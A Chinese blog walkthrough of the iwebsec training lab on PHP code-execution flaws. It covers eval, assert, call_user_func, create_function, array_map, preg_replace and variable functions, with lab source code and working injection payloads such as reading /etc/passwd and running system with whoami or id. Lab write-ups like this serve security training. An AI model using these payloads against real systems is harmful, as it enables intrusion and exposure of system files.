iwebsec(代码执行)

iwebsec(代码执行)

一、代码执行

  • 应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
  • 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
  • 因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法

二、系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

三、windows系统命令拼接方式

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

四、靶场地址:http://iwebsec.com/

五、查看源码

1.查看运行的docker容器
docker ps

请添加图片描述

2.进入docker容器
docker exec -it containerid /bin/bash

请添加图片描述

3.找到源码位置
cd /var/www/html/execcode/

请添加图片描述

六、代码执行漏洞eval函数

1.eval函数
  • eval() 函数把字符串按照 PHP 代码来计算。
  • 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
2.查看源码
  • POST方式,参数为1

    请添加图片描述

3.执行系统命令
  • 1=echo(`cat /etc/passwd`);
    

    请添加图片描述

七、代码执行漏洞assert函数

1.assert函数
  • assert()函数其实是一个断言函数,断言函数用于在调试过程中捕捉程序的错误。“断言”在语文中的意思是“断定”、“十分肯定地说”,在编程中是指对某种假设条件进行检测,如果条件成立就不进行任何操作,如果条件不成立就捕捉到这种错误,并打印出错误信息,终止程序执行。
  • 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
  • 注意assert的一句话mua,不需要以分号结尾。
2.查看源码

请添加图片描述

3.利用
1=phpinfo();

请添加图片描述

八、代码执行漏洞call_user_func函数

1.call_user_func函数
  • call_user_func_array()是调用回调函数,可以将把一个数组参数作为回调函数的参数

  • 实例

    请添加图片描述

2.查看源码
  • 通过POST给变量fun和arg赋值

    请添加图片描述

3.利用
  • fun=system&arg=whoami;
    

    请添加图片描述

九、代码执行漏洞call_user_func_array函数

1.call_user_func_array函数
  • call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。

  • 说明

    说明:mixed call_user_func_array ( callable $callback , array $param_arr )
    
    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
    
    返回回调函数的结果。如果出错的话就返回FALSE
    
2.查看源码

请添加图片描述

3.利用
  • 和call_user_func函数利用方法一样

十、代码执行漏洞create_function函数

1.create_function函数
  • create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数。

  • 用法:

    string create_function ( $args, $code )
    
    参数:该函数接受以下两个参数:
    $args:它是一个字符串类型的函数参数。
    $code:它是字符串类型的函数代码。
    
  • 注意:通常,这些参数将作为单引号分隔的字符串传递。使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,将需要双引号来转义变量名,例如\ $avar。

  • 返回值:此函数以字符串形式返回唯一的函数名称,否则,在错误时返回FALSE。

2.查看源码

请添加图片描述

3.利用
  • GET方式传参

    /execcode/05.php?id=1;}echo(`cat /etc/passwd`);/*
    

    请添加图片描述

十一、代码执行漏洞array_map函数

1.array_map函数
  • array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
  • 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
2.查看源码

请添加图片描述

3.利用
  • GET方式给func和argv传参

    /execcode/06.php?func=system&argv=whoami
    

    请添加图片描述

十二、代码执行漏洞preg_replace函数

1.preg_replace函数
  • preg_replace 函数执行一个正则表达式的搜索和替换。

  • 语法

    mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    
    搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
    
    参数说明:
    - $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    - $replacement: 用于替换的字符串或字符串数组。
    - $subject: 要搜索替换的目标字符串或字符串数组。
    - $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
    - $count: 可选,为替换执行的次数。
    
  • 返回值

    • 如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
    • 如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
2.查看源码
  • 无漏洞

    请添加图片描述

  • 有漏洞

    请添加图片描述

3.利用
  • 代码执行漏洞preg_replace无漏洞函数,通过GET方式给name传参

    /execcode/07.php?name=glc
    
    glc替换原来的hack
    

    请添加图片描述

  • 代码执行漏洞preg_replace漏洞函数,通过GET方式给name传参

    /execcode/08.php?name=phpinfo()
    

    请添加图片描述

十三、可变函数漏洞

1.查看源码
  • 可变函数漏洞1

    请添加图片描述

  • 可变函数漏洞2

    <?php
    	function foo() {
    		echo "foo";
    	}
    	function bar($arg = '') {
    		echo "bar";
    	}
    	function echoit($string)
    	{
    		echo $string;
    	}
    	
    ?>
    
    <?php  require_once('../header.php');?>
    <html>
    	<head>
    		<title>代码执行漏洞</title>
    	</head>
    	<h2>可变函数漏洞示例02</h2>
    		<div class="alert alert-success">
    			<p>/10.php?func=func1</p>
    		</div>
    	<body>
    <?php
    	if(isset($_REQUEST['func'])){
    		function func1() {
    			echo "func1函数";
    		}
    		function func2($arg = '') {
    			echo "func2函数";
    		}
    		function func3($arg){
    			echo "func3函数的参数是".$arg;
    		}
    		$func = $_REQUEST['func'];
    		$arg = $_REQUEST['arg'];
    		echo $func($arg);
    	}else{
    		exit();
    	}
    	
    ?>
    
2.利用
  • 可变函数漏洞1

    当func=func1时,返回func1函数
    
    当func=func2时,返回func2函数
    
    当func被赋予其他值,参数将被当作代码执行
    

    通过GET方式传参/execcode/09.php?func=phpinfo

    请添加图片描述

  • 可变函数漏洞2

    /execcode/10.php?func=system&arg=id
    

    请添加图片描述

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值